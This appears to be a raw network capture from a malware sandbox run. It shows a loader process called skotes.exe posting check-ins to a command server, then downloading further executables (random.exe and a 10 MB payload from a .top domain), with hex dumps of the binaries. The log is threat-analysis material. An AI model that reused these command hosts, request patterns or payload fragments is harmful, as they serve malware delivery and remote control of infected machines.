Nov 18, 2024 04:42:09.097297907 CET	424	IN	Data Raw: 0c 11 65 a2 0f 08 3c 4a 89 d4 3c d9 37 3e f8 05 39 30 5e 7e d7 d2 9a c6 55 45 0c 79 ec 47 87 eb f5 4d 71 00 53 e6 e3 3b 68 95 8b 52 b1 fc ca 41 2b 31 b8 e1 78 cf ca 81 0a 9a 84 e5 0f cd 88 07 f8 9e c1 1b 45 ee ed 1b 9b 96 38 04 e2 b0 f4 f9 08 9d Data Ascii: e<J<7>90^~UEyGMqS;hRA+1xE8iZ*8]?s/K"R5Y. v#CbMaTKqs+mU9@oxuEPuQ4:xsys'd#P1AH=Q+b!@V8?({cW9#;xC.w4# fm
Nov 18, 2024 04:42:09.097347021 CET	1236	IN	Data Raw: e9 a0 2d 8a ba 28 17 7a d3 e2 44 a5 ce 2a dd 5a fb 98 96 0d 26 34 62 48 db 1a ff f9 96 f6 e1 37 cf d1 2f 3b 27 25 25 53 25 d2 87 f7 72 97 60 cf bb 89 93 a2 ed 37 ab 05 b2 10 a8 e5 3e 37 14 f7 c3 aa ec 6b 21 cc 50 e8 81 9c 6c 61 d3 ed 55 66 92 b0 Data Ascii: -(zDZ&4bH7/;'%%S%r`7>7k!PlaUf&p8j{)*eWA\<IL16t\|8B+T%Yt&%UN1i\E5S..U`A^S%TxU[1KU0L
Nov 18, 2024 04:42:09.102653980 CET	1236	IN	Data Raw: f0 f2 83 8f 3a ca f1 8a 48 9c 88 5e 71 c9 96 78 6c b1 91 01 38 53 7d dc 05 c8 87 1e a4 e5 f3 3d a3 1a 3d 7b d4 e2 92 fc 21 1b 5c 46 52 1f c4 8f 25 71 05 65 0c df fb a3 97 e6 c6 69 99 16 9d 3c 59 a1 e3 37 44 e4 03 63 34 a4 cf 5d 2c 12 5a 8c 02 b0 Data Ascii: :H^qxl8S}=={!\FR%qei<Y7Dc4],Z;Nbzi?R)J\fS4u6b6LlVP(UM]dBoMK3;+;S^\|'Dm?C"SVpb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50110	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:13.913543940 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007055001&unit=246122658369
Nov 18, 2024 04:42:14.824064970 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50111	185.215.113.16	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:14.832812071 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 04:42:15.723710060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:15 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Mon, 18 Nov 2024 03:27:50 GMT Connection: keep-alive ETag: "673ab436-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 45 b4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDJ@JE@\p x@.rsrc @.idata @ *@ozsfgbmb0@adwhoacuJ@.taggant0J"@
Nov 18, 2024 04:42:15.723761082 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:15.723825932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:15.723861933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:15.723895073 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:15.723937035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:15.723974943 CET	212	IN	Data Raw: d5 d6 f5 24 db 9f eb ff ac 87 31 75 8c b8 39 ac 00 01 90 f8 38 a0 b9 66 24 4a 3f d4 2c 08 f1 27 b4 fa b5 a3 29 79 9a 56 53 07 b3 2b b2 27 a8 5c 54 f9 a1 b0 ec e1 f1 eb 74 0c 59 bc a3 45 16 11 4c bf 21 28 b7 c7 d8 6c 3a 43 95 fa 84 c8 fc 74 81 ee Data Ascii: $1u98f$J?,')yVS+'\TtYEL!(l:Ctg.P:4At+JUj%vjE(ANo,?;8wa>pV7ABj.9Xz<hzg?5%U7L:Hw
Nov 18, 2024 04:42:15.724005938 CET	1236	IN	Data Raw: 72 07 75 12 e9 6d 89 2b 58 a5 89 ae 3e 3d 9c c4 73 7a 3d d7 5c 27 34 09 d9 64 7a 1f 86 40 08 88 7f 42 4f 36 56 35 b8 a8 51 80 b7 e2 c8 74 b0 d4 45 14 e8 30 6e 8c 8f 0a f9 0d 66 84 6f 1a 07 64 ed 3e c3 93 85 78 04 17 c9 44 4d f6 4c 09 7f 7a 03 2a Data Ascii: rum+X>=sz=\'4dz@BO6V5QtE0nfod>xDMLz*CxCFST`'h[6 qm7wd@BWR_4U<(<j>Q8]w9+(42R:kcTFhr&+A #k]iWoBg)
Nov 18, 2024 04:42:15.724040985 CET	1236	IN	Data Raw: bc 70 eb b5 42 54 28 94 4c bb 17 76 df ce 2a ab 99 fd cd d0 3c ac 94 82 d3 2c 82 cd d2 da e0 02 7f ef 25 cb 4d 89 fa 1a 4c 22 82 40 01 94 ef 9c 50 3a b0 5e a3 5a ab cf 1c 90 6e 29 0a 87 9d 93 7d 81 a1 87 88 c0 2c 16 16 2a 19 d1 0f ff 6a ea 77 41 Data Ascii: pBT(Lv<,%ML"@P:^Zn)},jwAMQ;Dz=$,C-wjR-/<AMv"(lId&F3*I>0$"DoV6x1m:$]#_BN$Is$<B9$mUQEKsISG1
Nov 18, 2024 04:42:15.724077940 CET	1236	IN	Data Raw: 51 2e 50 ca 6e 6a 6d 17 0d 78 89 14 ba 52 42 47 36 33 61 98 a9 8e 78 d7 2e 0b 40 d8 61 04 95 d5 20 af 07 5e 69 73 2c 61 4a 87 30 ba 6e 3e f8 10 ff fd e0 b2 58 ce dd ba 33 fe 98 79 65 6a 89 5a b0 df 8d f5 39 3b 6d 58 5a bb 81 b0 77 07 c0 ea f1 09 Data Ascii: Q.PnjmxRBG63ax.@a ^is,aJ0n>X3yejZ9;mXZwe4:A]Y!fnJ>P'eF_6Y3C]Q7dzJAs?##7gq#\E[3Uo=z2AkTFPAL<kZDB,OD~
Nov 18, 2024 04:42:15.729131937 CET	1236	IN	Data Raw: 35 a4 0f e4 f5 12 cc 95 12 3b 4d f6 4f ee dd c9 95 02 a8 52 8c c1 d8 30 8c fe f2 11 a9 eb 4f 2f 26 e0 6b 3e c6 d5 8b cf 75 5b 88 9b 27 6f 59 93 85 ba d0 2e 5a ec c5 ab 56 90 f6 8f 7e fe d4 4c c7 e1 62 0f 13 18 34 f9 a6 29 14 b8 60 12 4f 50 4d 42 Data Ascii: 5;MOR0O/&k>u['oY.ZV~Lb4)`OPMBn'<Pjg0WCDH%T7-{<(:svGVD+Z @CNH9%5#75%-mmd.u>x2LU\|N#5/RMEG4a)y&~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50112	62.76.234.151	80	8532	C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:15.196626902 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 04:42:16.290695906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 03:42:16 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 04:42:16.290718079 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 18, 2024 04:42:16.290730000 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 18, 2024 04:42:16.292798996 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 04:42:16.292819977 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 18, 2024 04:42:16.292833090 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 18, 2024 04:42:16.295710087 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 04:42:16.295722961 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 18, 2024 04:42:16.295734882 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 18, 2024 04:42:16.297547102 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>
Nov 18, 2024 04:42:16.297557116 CET	212	IN	Data Raw: db 5a f6 ef 70 85 92 e6 a4 0d 11 68 e3 23 a1 8f bb c9 69 e3 eb b3 9d b4 36 3e 26 27 7f 8d ea 68 18 f1 9a bb d9 97 27 00 5f 01 eb 91 14 97 1b 8f 16 b8 9f 95 dc 70 a6 d4 1a d9 54 49 3a 65 45 19 31 a7 fd e0 96 d7 67 a1 ae 5e 7c 7d 8e 22 79 4d e2 8e Data Ascii: Zph#i6>&'h'_pTI:eE1g^\|}"yMLG:wp;Rbz"9a9kPglYhoQ37e"q3eUX_'>y Yb`&Fh.Eb8!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50114	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:19.628267050 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007060001&unit=246122658369
Nov 18, 2024 04:42:20.536001921 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50115	185.215.113.16	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:20.545480967 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 04:42:21.455214024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:21 GMT Content-Type: application/octet-stream Content-Length: 1828352 Last-Modified: Mon, 18 Nov 2024 03:27:57 GMT Connection: keep-alive ETag: "673ab43d-1be600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 1e 5c [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"`j@j\@M$a$$ $b@.rsrc$r@.idata $t@ @+$v@owiwlckrPPFx@gktksaukPj@.taggant0`j"@
Nov 18, 2024 04:42:21.455234051 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:21.455327034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:21.455420017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:21.455431938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:21.455445051 CET	1236	IN	Data Raw: 25 7d 37 a9 f5 19 18 71 f9 0d 27 69 73 65 4b 63 2d 2d f1 58 75 4c 95 db 25 27 bc 66 69 d5 5f 3e 05 0b 7f 35 0d f5 72 5c 0e 05 d5 50 fd fd 05 45 f5 f5 9d 38 7b fd 09 27 5d e5 4b 31 06 f3 1f 12 fd b9 98 b6 d8 b1 f8 16 d6 c2 7f 08 35 09 6f a9 33 cc Data Ascii: %}7q'iseKc--XuL%'fi_>5r\PE8{']K15o3w)d9k9Qod1ds[PhsaArJE&D&[x<.]S/a%e5Et%th.,lED}LpifDM?ha4wH?)eO9)xLRL059
Nov 18, 2024 04:42:21.455502033 CET	1236	IN	Data Raw: c9 12 fe 28 8a d4 58 87 59 87 13 a2 f5 6a 46 94 38 f6 69 09 81 e1 c1 2b 1d fb a9 2a 43 78 5c e8 3e 32 37 b1 f6 8a 18 31 99 2d 3f a5 7e f4 73 dd 3a ca 35 b5 5e 09 3d 21 12 03 ab a6 79 1b 53 27 91 32 72 56 79 c2 cb 4c 39 a9 59 6c 3d 37 db b9 64 17 Data Ascii: (XYjF8i+*Cx\>271-?~s:5^=!yS'2rVyL9Yl=7dW)lE8>=NJDqDO7^jNV'u1@CA,2"zR=)"ziF=>b2'[-\|AZm?cmt}ys!6WWQrRNTlo
Nov 18, 2024 04:42:21.455516100 CET	1236	IN	Data Raw: a9 0a 5f 2e 0d 8e 50 58 f5 21 da 91 9f 0a d0 02 3e 2f 4d 80 fe a9 79 91 7a 00 58 78 5d fd be a4 19 76 7f 97 35 e5 4b c0 03 0e e7 5a bd 5e 98 a4 6e e5 f7 62 03 b9 47 70 7a 76 82 29 2f c4 0f a5 03 d1 59 9c 72 2f 6c 94 74 f5 d6 10 32 e9 59 24 72 06 Data Ascii: _.PX!>/MyzXx]v5KZ^nbGpzv)/Yr/lt2Y$rS2:RF'^W1[@y`by[x(yALue{\|.}PA{K&-M^;Ol>AHKu'e1@=UJ(1w7*MdO3{^GEpcc+CGiDW@"1R
Nov 18, 2024 04:42:21.455533981 CET	972	IN	Data Raw: 5e 75 27 63 f1 14 59 38 78 11 83 45 0c 56 48 47 15 21 4d 42 9d 7a 89 56 48 15 87 36 2f 4d 5f 74 5e 3f 57 62 15 5d 4d 62 71 15 77 62 2f f7 5a 25 f6 0d 4d 62 8d 15 47 62 13 e1 4a c3 3e 95 79 39 a1 fe 66 28 c8 77 9b 34 2f 14 77 36 35 8d 7c e5 00 9e Data Ascii: ^u'cY8xEVHG!MBzVH6/M_t^?Wb]Mbqwb/Z%MbGbJ>y9f(w4/w65\|X1OYJ`R?6)2;(Ephd3Z2Gt}_/Aet1AwN6K5iH`2/I`[`IytKP{(ufQIqmM(xv)}?\|1w/AnG
Nov 18, 2024 04:42:21.455560923 CET	1236	IN	Data Raw: d5 15 07 37 2f cd 48 5c 7b fd 20 2d b5 dd 85 28 20 75 e7 a9 7e c1 b1 89 51 5a d9 23 fd 20 5d 44 f8 03 1f df f9 1f 4b 58 71 fe 82 65 90 bd 3b 91 95 f9 c2 f7 4d 90 4d d4 0f b9 48 b2 01 0f be 6d 75 ca 50 30 ad 71 df ad 35 66 c3 8a 19 99 6b a9 2d 91 Data Ascii: 7/H\{ -( u~QZ# ]DKXqe;MMHmuP0q5fk-B&^2Wx0Bu/Tg?6<}$M0w_"8bBJF"@"%[8MAA%Y/B]Mbu\|BR?6/\Q6=x^"[y1q3A%YV/-X@Y(#>S6{Iu{bu[_
